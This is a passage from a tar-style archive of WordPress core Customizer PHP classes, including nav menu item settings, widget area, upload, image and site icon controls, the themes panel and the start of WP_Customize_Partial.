			$items = array_filter( $items, '_is_valid_nav_menu_item' );
		}

		if ( ARRAY_A === $args['output'] ) {
			$items = wp_list_sort(
				$items,
				array(
					$args['output_key'] => 'ASC',
				)
			);
			$i     = 1;

			foreach ( $items as $k => $item ) {
				$items[ $k ]->{$args['output_key']} = $i++;
			}
		}

		return $items;
	}

	/**
	 * Get the value emulated into a WP_Post and set up as a nav_menu_item.
	 *
	 * @since 4.3.0
	 *
	 * @return WP_Post With wp_setup_nav_menu_item() applied.
	 */
	public function value_as_wp_post_nav_menu_item() {
		$item = (object) $this->value();
		unset( $item->nav_menu_term_id );

		$item->post_status = $item->status;
		unset( $item->status );

		$item->post_type  = 'nav_menu_item';
		$item->menu_order = $item->position;
		unset( $item->position );

		if ( empty( $item->title ) && ! empty( $item->original_title ) ) {
			$item->title = $item->original_title; // This is NOT entity-decoded. It comes from self::get_original_title().
		}
		if ( $item->title ) {
			$item->post_title = $item->title;
		}

		// 'classes' should be an array, as in wp_setup_nav_menu_item().
		if ( isset( $item->classes ) && is_scalar( $item->classes ) ) {
			$item->classes = explode( ' ', $item->classes );
		}

		$item->ID    = $this->post_id;
		$item->db_id = $this->post_id;
		$post        = new WP_Post( (object) $item );

		if ( empty( $post->post_author ) ) {
			$post->post_author = get_current_user_id();
		}

		if ( ! isset( $post->type_label ) ) {
			$post->type_label = $this->get_type_label( $post );
		}

		// Ensure nav menu item URL is set according to linked object.
		if ( 'post_type' === $post->type && ! empty( $post->object_id ) ) {
			$post->url = get_permalink( $post->object_id );
		} elseif ( 'taxonomy' === $post->type && ! empty( $post->object ) && ! empty( $post->object_id ) ) {
			$post->url = get_term_link( (int) $post->object_id, $post->object );
		} elseif ( 'post_type_archive' === $post->type && ! empty( $post->object ) ) {
			$post->url = get_post_type_archive_link( $post->object );
		}
		if ( is_wp_error( $post->url ) ) {
			$post->url = '';
		}

		/** This filter is documented in wp-includes/nav-menu.php */
		$post->attr_title = apply_filters( 'nav_menu_attr_title', $post->attr_title );

		/** This filter is documented in wp-includes/nav-menu.php */
		$post->description = apply_filters( 'nav_menu_description', wp_trim_words( $post->description, 200 ) );

		/** This filter is documented in wp-includes/nav-menu.php */
		$post = apply_filters( 'wp_setup_nav_menu_item', $post );

		return $post;
	}

	/**
	 * Sanitize an input.
	 *
	 * Note that parent::sanitize() erroneously does wp_unslash() on $value, but
	 * we remove that in this override.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$menu_item_value` to `$value` for PHP 8 named parameter support.
	 *
	 * @param array|false $value The menu item value to sanitize.
	 * @return array|false|null|WP_Error Null or WP_Error if an input isn't valid. False if it is marked for deletion.
	 *                                   Otherwise the sanitized value.
	 */
	public function sanitize( $value ) {
		// Restores the more descriptive, specific name for use within this method.
		$menu_item_value = $value;

		// Menu is marked for deletion.
		if ( false === $menu_item_value ) {
			return $menu_item_value;
		}

		// Invalid.
		if ( ! is_array( $menu_item_value ) ) {
			return null;
		}

		$default                     = array(
			'object_id'        => 0,
			'object'           => '',
			'menu_item_parent' => 0,
			'position'         => 0,
			'type'             => 'custom',
			'title'            => '',
			'url'              => '',
			'target'           => '',
			'attr_title'       => '',
			'description'      => '',
			'classes'          => '',
			'xfn'              => '',
			'status'           => 'publish',
			'original_title'   => '',
			'nav_menu_term_id' => 0,
			'_invalid'         => false,
		);
		$menu_item_value             = array_merge( $default, $menu_item_value );
		$menu_item_value             = wp_array_slice_assoc( $menu_item_value, array_keys( $default ) );
		$menu_item_value['position'] = (int) $menu_item_value['position'];

		foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) {
			// Note we need to allow negative-integer IDs for previewed objects not inserted yet.
			$menu_item_value[ $key ] = (int) $menu_item_value[ $key ];
		}

		foreach ( array( 'type', 'object', 'target' ) as $key ) {
			$menu_item_value[ $key ] = sanitize_key( $menu_item_value[ $key ] );
		}

		foreach ( array( 'xfn', 'classes' ) as $key ) {
			$value = $menu_item_value[ $key ];
			if ( ! is_array( $value ) ) {
				$value = explode( ' ', $value );
			}
			$menu_item_value[ $key ] = implode( ' ', array_map( 'sanitize_html_class', $value ) );
		}

		// Apply the same filters as when calling wp_insert_post().

		/** This filter is documented in wp-includes/post.php */
		$menu_item_value['title'] = wp_unslash( apply_filters( 'title_save_pre', wp_slash( $menu_item_value['title'] ) ) );

		/** This filter is documented in wp-includes/post.php */
		$menu_item_value['attr_title'] = wp_unslash( apply_filters( 'excerpt_save_pre', wp_slash( $menu_item_value['attr_title'] ) ) );

		/** This filter is documented in wp-includes/post.php */
		$menu_item_value['description'] = wp_unslash( apply_filters( 'content_save_pre', wp_slash( $menu_item_value['description'] ) ) );

		if ( '' !== $menu_item_value['url'] ) {
			$menu_item_value['url'] = sanitize_url( $menu_item_value['url'] );
			if ( '' === $menu_item_value['url'] ) {
				return new WP_Error( 'invalid_url', __( 'Invalid URL.' ) ); // Fail sanitization if URL is invalid.
			}
		}
		if ( 'publish' !== $menu_item_value['status'] ) {
			$menu_item_value['status'] = 'draft';
		}

		$menu_item_value['_invalid'] = (bool) $menu_item_value['_invalid'];

		/** This filter is documented in wp-includes/class-wp-customize-setting.php */
		return apply_filters( "customize_sanitize_{$this->id}", $menu_item_value, $this );
	}

	/**
	 * Creates/updates the nav_menu_item post for this setting.
	 *
	 * Any created menu items will have their assigned post IDs exported to the client
	 * via the {@see 'customize_save_response'} filter. Likewise, any errors will be
	 * exported to the client via the customize_save_response() filter.
	 *
	 * To delete a menu, the client can send false as the value.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_update_nav_menu_item()
	 *
	 * @param array|false $value The menu item array to update. If false, then the menu item will be deleted
	 *                           entirely. See WP_Customize_Nav_Menu_Item_Setting::$default for what the value
	 *                           should consist of.
	 * @return null|void
	 */
	protected function update( $value ) {
		if ( $this->is_updated ) {
			return;
		}

		$this->is_updated = true;
		$is_placeholder   = ( $this->post_id < 0 );
		$is_delete        = ( false === $value );

		// Update the cached value.
		$this->value = $value;

		add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) );

		if ( $is_delete ) {
			// If the current setting post is a placeholder, a delete request is a no-op.
			if ( $is_placeholder ) {
				$this->update_status = 'deleted';
			} else {
				$r = wp_delete_post( $this->post_id, true );

				if ( false === $r ) {
					$this->update_error  = new WP_Error( 'delete_failure' );
					$this->update_status = 'error';
				} else {
					$this->update_status = 'deleted';
				}
				// @todo send back the IDs for all associated nav menu items deleted, so these settings (and controls) can be removed from Customizer?
			}
		} else {

			// Handle saving menu items for menus that are being newly-created.
			if ( $value['nav_menu_term_id'] < 0 ) {
				$nav_menu_setting_id = sprintf( 'nav_menu[%s]', $value['nav_menu_term_id'] );
				$nav_menu_setting    = $this->manager->get_setting( $nav_menu_setting_id );

				if ( ! $nav_menu_setting || ! ( $nav_menu_setting instanceof WP_Customize_Nav_Menu_Setting ) ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_nav_menu_setting' );
					return;
				}

				if ( false === $nav_menu_setting->save() ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'nav_menu_setting_failure' );
					return;
				}

				if ( (int) $value['nav_menu_term_id'] !== $nav_menu_setting->previous_term_id ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_previous_term_id' );
					return;
				}

				$value['nav_menu_term_id'] = $nav_menu_setting->term_id;
			}

			// Handle saving a nav menu item that is a child of a nav menu item being newly-created.
			if ( $value['menu_item_parent'] < 0 ) {
				$parent_nav_menu_item_setting_id = sprintf( 'nav_menu_item[%s]', $value['menu_item_parent'] );
				$parent_nav_menu_item_setting    = $this->manager->get_setting( $parent_nav_menu_item_setting_id );

				if ( ! $parent_nav_menu_item_setting || ! ( $parent_nav_menu_item_setting instanceof WP_Customize_Nav_Menu_Item_Setting ) ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_nav_menu_item_setting' );
					return;
				}

				if ( false === $parent_nav_menu_item_setting->save() ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'nav_menu_item_setting_failure' );
					return;
				}

				if ( (int) $value['menu_item_parent'] !== $parent_nav_menu_item_setting->previous_post_id ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_previous_post_id' );
					return;
				}

				$value['menu_item_parent'] = $parent_nav_menu_item_setting->post_id;
			}

			// Insert or update menu.
			$menu_item_data = array(
				'menu-item-object-id'   => $value['object_id'],
				'menu-item-object'      => $value['object'],
				'menu-item-parent-id'   => $value['menu_item_parent'],
				'menu-item-position'    => $value['position'],
				'menu-item-type'        => $value['type'],
				'menu-item-title'       => $value['title'],
				'menu-item-url'         => $value['url'],
				'menu-item-description' => $value['description'],
				'menu-item-attr-title'  => $value['attr_title'],
				'menu-item-target'      => $value['target'],
				'menu-item-classes'     => $value['classes'],
				'menu-item-xfn'         => $value['xfn'],
				'menu-item-status'      => $value['status'],
			);

			$r = wp_update_nav_menu_item(
				$value['nav_menu_term_id'],
				$is_placeholder ? 0 : $this->post_id,
				wp_slash( $menu_item_data )
			);

			if ( is_wp_error( $r ) ) {
				$this->update_status = 'error';
				$this->update_error  = $r;
			} else {
				if ( $is_placeholder ) {
					$this->previous_post_id = $this->post_id;
					$this->post_id          = $r;
					$this->update_status    = 'inserted';
				} else {
					$this->update_status = 'updated';
				}
			}
		}
	}

	/**
	 * Export data for the JS client.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 *
	 * @param array $data Additional information passed back to the 'saved' event on `wp.customize`.
	 * @return array Save response data.
	 */
	public function amend_customize_save_response( $data ) {
		if ( ! isset( $data['nav_menu_item_updates'] ) ) {
			$data['nav_menu_item_updates'] = array();
		}

		$data['nav_menu_item_updates'][] = array(
			'post_id'          => $this->post_id,
			'previous_post_id' => $this->previous_post_id,
			'error'            => $this->update_error ? $this->update_error->get_error_code() : null,
			'status'           => $this->update_status,
		);
		return $data;
	}
}
class-wp-widget-area-customize-control.php000064400000003267151024210340014673 0ustar00<?php
/**
 * Customize API: WP_Widget_Area_Customize_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Widget Area Customize Control class.
 *
 * @since 3.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Widget_Area_Customize_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $type = 'sidebar_widgets';

	/**
	 * Sidebar ID.
	 *
	 * @since 3.9.0
	 * @var int|string
	 */
	public $sidebar_id;

	/**
	 * Refreshes the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.9.0
	 */
	public function to_json() {
		parent::to_json();
		$exported_properties = array( 'sidebar_id' );
		foreach ( $exported_properties as $key ) {
			$this->json[ $key ] = $this->$key;
		}
	}

	/**
	 * Renders the control's content.
	 *
	 * @since 3.9.0
	 */
	public function render_content() {
		$id = 'reorder-widgets-desc-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id );
		?>
		<button type="button" class="button add-new-widget" aria-expanded="false" aria-controls="available-widgets">
			<?php _e( 'Add a Widget' ); ?>
		</button>
		<button type="button" class="button-link reorder-toggle" aria-label="<?php esc_attr_e( 'Reorder widgets' ); ?>" aria-describedby="<?php echo esc_attr( $id ); ?>">
			<span class="reorder"><?php _e( 'Reorder' ); ?></span>
			<span class="reorder-done"><?php _e( 'Done' ); ?></span>
		</button>
		<p class="screen-reader-text" id="<?php echo esc_attr( $id ); ?>">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'When in reorder mode, additional controls to reorder widgets will be available in the widgets list above.' );
			?>
		</p>
		<?php
	}
}
class-wp-customize-nav-menu-locations-control.php000064400000005401151024210340016211 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Locations_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.9.0
 */

/**
 * Customize Nav Menu Locations Control Class.
 *
 * @since 4.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Locations_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'nav_menu_locations';

	/**
	 * Don't render the control's content - it uses a JS template instead.
	 *
	 * @since 4.9.0
	 */
	public function render_content() {}

	/**
	 * JS/Underscore template for the control UI.
	 *
	 * @since 4.9.0
	 */
	public function content_template() {
		if ( current_theme_supports( 'menus' ) ) :
			?>
			<# var elementId; #>
			<ul class="menu-location-settings">
				<li class="customize-control assigned-menu-locations-title">
					<span class="customize-control-title">{{ wp.customize.Menus.data.l10n.locationsTitle }}</span>
					<# if ( data.isCreating ) { #>
						<p>
							<?php echo _x( 'Where do you want this menu to appear?', 'menu locations' ); ?>
							<?php
							printf(
								/* translators: 1: Documentation URL, 2: Additional link attributes, 3: Accessibility text. */
								_x( '(If you plan to use a menu <a href="%1$s" %2$s>widget%3$s</a>, skip this step.)', 'menu locations' ),
								__( 'https://wordpress.org/documentation/article/manage-wordpress-widgets/' ),
								' class="external-link" target="_blank"',
								sprintf(
									'<span class="screen-reader-text"> %s</span>',
									/* translators: Hidden accessibility text. */
									__( '(opens in a new tab)' )
								)
							);
							?>
						</p>
					<# } else { #>
						<p><?php echo _x( 'Here&#8217;s where this menu appears. If you would like to change that, pick another location.', 'menu locations' ); ?></p>
					<# } #>
				</li>

				<?php foreach ( get_registered_nav_menus() as $location => $description ) : ?>
					<# elementId = _.uniqueId( 'customize-nav-menu-control-location-' ); #>
					<li class="customize-control customize-control-checkbox assigned-menu-location">
						<span class="customize-inside-control-row">
							<input id="{{ elementId }}" type="checkbox" data-menu-id="{{ data.menu_id }}" data-location-id="<?php echo esc_attr( $location ); ?>" class="menu-location" />
							<label for="{{ elementId }}">
								<?php echo $description; ?>
								<span class="theme-location-set">
									<?php
									printf(
										/* translators: %s: Menu name. */
										_x( '(Current: %s)', 'menu location' ),
										'<span class="current-menu-location-name-' . esc_attr( $location ) . '"></span>'
									);
									?>
								</span>
							</label>
						</span>
					</li>
				<?php endforeach; ?>
			</ul>
			<?php
		endif;
	}
}
class-wp-customize-upload-control.php000064400000002255151024210340013762 0ustar00<?php
/**
 * Customize API: WP_Customize_Upload_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Upload Control Class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Media_Control
 */
class WP_Customize_Upload_Control extends WP_Customize_Media_Control {
	/**
	 * Control type.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $type = 'upload';

	/**
	 * Media control mime type.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $mime_type = '';

	/**
	 * Button labels.
	 *
	 * @since 4.1.0
	 * @var array
	 */
	public $button_labels = array();

	public $removed = '';         // Unused.
	public $context;              // Unused.
	public $extensions = array(); // Unused.

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.4.0
	 *
	 * @uses WP_Customize_Media_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$value = $this->value();
		if ( $value ) {
			// Get the attachment model for the existing file.
			$attachment_id = attachment_url_to_postid( $value );
			if ( $attachment_id ) {
				$this->json['attachment'] = wp_prepare_attachment_for_js( $attachment_id );
			}
		}
	}
}
class-wp-customize-nav-menu-section.php000064400000001314151024210340014203 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Section class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Menu Section Class
 *
 * Custom section only needed in JS.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Section
 */
class WP_Customize_Nav_Menu_Section extends WP_Customize_Section {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu';

	/**
	 * Get section parameters for JS.
	 *
	 * @since 4.3.0
	 * @return array Exported parameters.
	 */
	public function json() {
		$exported            = parent::json();
		$exported['menu_id'] = (int) preg_replace( '/^nav_menu\[(-?\d+)\]/', '$1', $this->id );

		return $exported;
	}
}
class-wp-customize-header-image-setting.php000064400000003366151024210340015007 0ustar00<?php
/**
 * Customize API: WP_Customize_Header_Image_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * A setting that is used to filter a value, but will not save the results.
 *
 * Results should be properly handled using another setting or callback.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Setting
 */
final class WP_Customize_Header_Image_Setting extends WP_Customize_Setting {

	/**
	 * Unique string identifier for the setting.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $id = 'header_image_data';

	/**
	 * @since 3.4.0
	 *
	 * @global Custom_Image_Header $custom_image_header
	 *
	 * @param mixed $value The value to update.
	 */
	public function update( $value ) {
		global $custom_image_header;

		// If _custom_header_background_just_in_time() fails to initialize $custom_image_header when not is_admin().
		if ( empty( $custom_image_header ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-custom-image-header.php';
			$args                   = get_theme_support( 'custom-header' );
			$admin_head_callback    = isset( $args[0]['admin-head-callback'] ) ? $args[0]['admin-head-callback'] : null;
			$admin_preview_callback = isset( $args[0]['admin-preview-callback'] ) ? $args[0]['admin-preview-callback'] : null;
			$custom_image_header    = new Custom_Image_Header( $admin_head_callback, $admin_preview_callback );
		}

		/*
		 * If the value doesn't exist (removed or random),
		 * use the header_image value.
		 */
		if ( ! $value ) {
			$value = $this->manager->get_setting( 'header_image' )->post_value();
		}

		if ( is_array( $value ) && isset( $value['choice'] ) ) {
			$custom_image_header->set_header_image( $value['choice'] );
		} else {
			$custom_image_header->set_header_image( $value );
		}
	}
}
class-wp-customize-site-icon-control.php000064400000012065151024210340014370 0ustar00<?php
/**
 * Customize API: WP_Customize_Site_Icon_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Site Icon control class.
 *
 * Used only for custom functionality in JavaScript.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Cropped_Image_Control
 */
class WP_Customize_Site_Icon_Control extends WP_Customize_Cropped_Image_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'site_icon';

	/**
	 * Constructor.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );
		add_action( 'customize_controls_print_styles', 'wp_site_icon', 99 );
	}

	/**
	 * Renders a JS template for the content of the site icon control.
	 *
	 * @since 4.5.0
	 */
	public function content_template() {
		?>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{ data.label }}</span>
		<# } #>

		<# if ( data.attachment && data.attachment.id ) { #>
			<div class="attachment-media-view">
				<# if ( data.attachment.sizes ) { #>
					<style>
						:root{
							--site-icon-url: url( '{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}' );
						}
					</style>
					<div class="site-icon-preview customizer">
						<div class="direction-wrap">
							<img src="{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}" class="app-icon-preview" alt="{{
								data.attachment.alt ?
									wp.i18n.sprintf(
										<?php
										/* translators: %s: The selected image alt text. */
										echo wp_json_encode( __( 'App icon preview: Current image: %s' ) )
										?>
										,
										data.attachment.alt
									) :
									wp.i18n.sprintf(
										<?php
										/* translators: %s: The selected image filename. */
										echo wp_json_encode( __( 'App icon preview: The current image has no alternative text. The file name is: %s' ) );
										?>
										,
										data.attachment.filename
									)
							}}" />
							<div class="site-icon-preview-browser">
								<svg role="img" aria-hidden="true" fill="none" xmlns="http://www.w3.org/2000/svg" class="browser-buttons"><path fill-rule="evenodd" clip-rule="evenodd" d="M0 20a6 6 0 1 1 12 0 6 6 0 0 1-12 0Zm18 0a6 6 0 1 1 12 0 6 6 0 0 1-12 0Zm24-6a6 6 0 1 0 0 12 6 6 0 0 0 0-12Z" /></svg>
								<div class="site-icon-preview-tab">
									<img src="{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}" class="browser-icon-preview" alt="{{
										data.attachment.alt ?
											wp.i18n.sprintf(
												<?php
												/* translators: %s: The selected image alt text. */
												echo wp_json_encode( __( 'Browser icon preview: Current image: %s' ) );
												?>
												,
												data.attachment.alt
											) :
											wp.i18n.sprintf(
												<?php
												/* translators: %s: The selected image filename. */
												echo wp_json_encode( __( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ) );
												?>
												,
												data.attachment.filename
											)
									}}" />
									<div class="site-icon-preview-site-title" aria-hidden="true"><# print( '<?php echo esc_js( get_bloginfo( 'name' ) ); ?>' ) #></div>
										<svg role="img" aria-hidden="true" fill="none" xmlns="http://www.w3.org/2000/svg" class="close-button">
											<path d="M12 13.0607L15.7123 16.773L16.773 15.7123L13.0607 12L16.773 8.28772L15.7123 7.22706L12 10.9394L8.28771 7.22705L7.22705 8.28771L10.9394 12L7.22706 15.7123L8.28772 16.773L12 13.0607Z" />
										</svg>
									</div>
								</div>
							</div>
						</div>
					</div>
				<# } #>
				<div class="actions">
					<# if ( data.canUpload ) { #>
						<button type="button" class="button remove-button"><?php echo $this->button_labels['remove']; ?></button>
						<button type="button" class="button upload-button"><?php echo $this->button_labels['change']; ?></button>
					<# } #>
				</div>
			</div>
		<# } else { #>
			<div class="attachment-media-view">
				<# if ( data.canUpload ) { #>
					<button type="button" class="upload-button button-add-media"><?php echo $this->button_labels['site_icon']; ?></button>
				<# } #>
				<div class="actions">
					<# if ( data.defaultAttachment ) { #>
						<button type="button" class="button default-button"><?php echo $this->button_labels['default']; ?></button>
					<# } #>
				</div>
			</div>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<?php
	}
}
class-wp-customize-nav-menu-auto-add-control.php000064400000002142151024210340015713 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Auto_Add_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize control to represent the auto_add field for a given menu.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Auto_Add_Control extends WP_Customize_Control {

	/**
	 * Type of control, used by JS.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_auto_add';

	/**
	 * No-op since we're using JS template.
	 *
	 * @since 4.3.0
	 */
	protected function render_content() {}

	/**
	 * Render the Underscore template for this control.
	 *
	 * @since 4.3.0
	 */
	protected function content_template() {
		?>
		<# var elementId = _.uniqueId( 'customize-nav-menu-auto-add-control-' ); #>
		<span class="customize-control-title"><?php _e( 'Menu Options' ); ?></span>
		<span class="customize-inside-control-row">
			<input id="{{ elementId }}" type="checkbox" class="auto_add" />
			<label for="{{ elementId }}">
				<?php _e( 'Automatically add new top-level pages to this menu' ); ?>
			</label>
		</span>
		<?php
	}
}
class-wp-customize-image-control.php000064400000002273151024210340013560 0ustar00<?php
/**
 * Customize API: WP_Customize_Image_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Image Control class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Upload_Control
 */
class WP_Customize_Image_Control extends WP_Customize_Upload_Control {
	/**
	 * Control type.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $type = 'image';

	/**
	 * Media control mime type.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $mime_type = 'image';

	/**
	 * @since 3.4.2
	 * @deprecated 4.1.0
	 */
	public function prepare_control() {}

	/**
	 * @since 3.4.0
	 * @deprecated 4.1.0
	 *
	 * @param string $id
	 * @param string $label
	 * @param mixed  $callback
	 */
	public function add_tab( $id, $label, $callback ) {
		_deprecated_function( __METHOD__, '4.1.0' );
	}

	/**
	 * @since 3.4.0
	 * @deprecated 4.1.0
	 *
	 * @param string $id
	 */
	public function remove_tab( $id ) {
		_deprecated_function( __METHOD__, '4.1.0' );
	}

	/**
	 * @since 3.4.0
	 * @deprecated 4.1.0
	 *
	 * @param string $url
	 * @param string $thumbnail_url
	 */
	public function print_tab_image( $url, $thumbnail_url = null ) {
		_deprecated_function( __METHOD__, '4.1.0' );
	}
}
class-wp-customize-themes-panel.php000064400000006471151024210340013406 0ustar00<?php
/**
 * Customize API: WP_Customize_Themes_Panel class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.9.0
 */

/**
 * Customize Themes Panel Class
 *
 * @since 4.9.0
 *
 * @see WP_Customize_Panel
 */
class WP_Customize_Themes_Panel extends WP_Customize_Panel {

	/**
	 * Panel type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'themes';

	/**
	 * An Underscore (JS) template for rendering this panel's container.
	 *
	 * The themes panel renders a custom panel heading with the active theme and a switch themes button.
	 *
	 * @see WP_Customize_Panel::print_template()
	 *
	 * @since 4.9.0
	 */
	protected function render_template() {
		?>
		<li id="accordion-section-{{ data.id }}" class="accordion-section control-panel-themes">
			<h3 class="accordion-section-title">
				<?php
				if ( $this->manager->is_theme_active() ) {
					echo '<span class="customize-action">' . __( 'Active theme' ) . '</span> {{ data.title }}';
				} else {
					echo '<span class="customize-action">' . __( 'Previewing theme' ) . '</span> {{ data.title }}';
				}
				?>
				<?php if ( current_user_can( 'switch_themes' ) ) : ?>
					<button type="button" class="button change-theme" aria-label="<?php esc_attr_e( 'Change theme' ); ?>"><?php _ex( 'Change', 'theme' ); ?></button>
				<?php endif; ?>
			</h3>
			<ul class="accordion-sub-container control-panel-content"></ul>
		</li>
		<?php
	}

	/**
	 * An Underscore (JS) template for this panel's content (but not its container).
	 *
	 * Class variables for this panel class are available in the `data` JS object;
	 * export custom variables by overriding WP_Customize_Panel::json().
	 *
	 * @since 4.9.0
	 *
	 * @see WP_Customize_Panel::print_template()
	 */
	protected function content_template() {
		?>
		<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
			<button class="customize-panel-back" tabindex="-1" type="button"><span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Back' );
				?>
			</span></button>
			<div class="accordion-section-title">
				<span class="preview-notice">
					<?php
					printf(
						/* translators: %s: Themes panel title in the Customizer. */
						__( 'You are browsing %s' ),
						'<strong class="panel-title">' . __( 'Themes' ) . '</strong>'
					); // Separate strings for consistency with other panels.
					?>
				</span>
				<?php if ( current_user_can( 'install_themes' ) && ! is_multisite() ) : ?>
					<# if ( data.description ) { #>
						<button class="customize-help-toggle dashicons dashicons-editor-help" type="button" aria-expanded="false"><span class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							_e( 'Help' );
							?>
						</span></button>
					<# } #>
				<?php endif; ?>
			</div>
			<?php if ( current_user_can( 'install_themes' ) && ! is_multisite() ) : ?>
				<# if ( data.description ) { #>
					<div class="description customize-panel-description">
						{{{ data.description }}}
					</div>
				<# } #>
			<?php endif; ?>

			<div class="customize-control-notifications-container"></div>
		</li>
		<li class="customize-themes-full-container-container">
			<div class="customize-themes-full-container">
				<div class="customize-themes-notifications"></div>
			</div>
		</li>
		<?php
	}
}
class-wp-customize-partial.php000064400000024510151024210340012452 0ustar00<?php
/**
 * Customize API: WP_Customize_Partial class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.5.0
 */

/**
 * Core Customizer class for implementing selective refresh partials.
 *
 * Representation of a rendered region in the previewed page that gets
 * selectively refreshed when an associated setting is changed.
 * This class is analogous of WP_Customize_Control.
 *
 * @since 4.5.0
 */
#[AllowDynamicProperties]
class WP_Customize_Partial {

	/**
	 * Component.
	 *
	 * @since 4.5.0
	 * @var WP_Customize_Selective_Refresh
	 */
	public $component;

	/**
	 * Unique identifier for the partial.
	 *
	 * If the partial is used to display a single setting, this would generally
	 * be the same as the associated setting's ID.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $id;

	/**
	 * Parsed ID.
	 *
	 * @since 4.5.0
	 * @var array {
	 *     @type string $base ID base.
	 *     @type array  $keys Keys for multidimensional.
	 * }
	 */
	protected $id_data = array();

	/**
	 * Type of this partial.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $type = 'default';

	/**
	 * The jQuery selector to find the container element for the partial.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $selector;

	/**
	 * IDs for settings tied to the partial.
	 *
	 * @since 4.5.0
	 * @var string[]
	 */
	public $settings;

	/**
	 * The ID for the setting that this partial is primarily responsible for rendering.
	 *
	 * If not supplied, it will default to the ID of the first setting.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $primary_setting;

	/**
	 * Capability required to edit this partial.
	 *
	 * Normally this is empty and the capability is derived from the capabilities
	 * of the associated `$settings`.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $capability;

	/**
	 * Render callback.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Customize_Partial::render()
	 * @var callable Callback is called with one argument, the instance of
	 *               WP_Customize_Partial. The callback can either echo the
	 *               partial or return the partial as a string, or return false if error.
	 */
	public $render_callback;

	/**
	 * Whether the container element is included in the partial, or if only the contents are rendered.
	 *
	 * @since 4.5.0
	 * @var bool
	 */
	public $container_inclusive = false;

	/**
	 * Whether to refresh the entire preview in case a partial cannot be refreshed.
	 *
	 * A partial render is considered a failure if the render_callback returns false.
	 *
	 * @since 4.5.0
	 * @var bool
	 */
	public $fallback_refresh = true;

	/**
	 * Constructor.
	 *
	 * Supplied `$args` override class property defaults.
	 *
	 * If `$args['settings']` is not defined, use the $id as the setting ID.
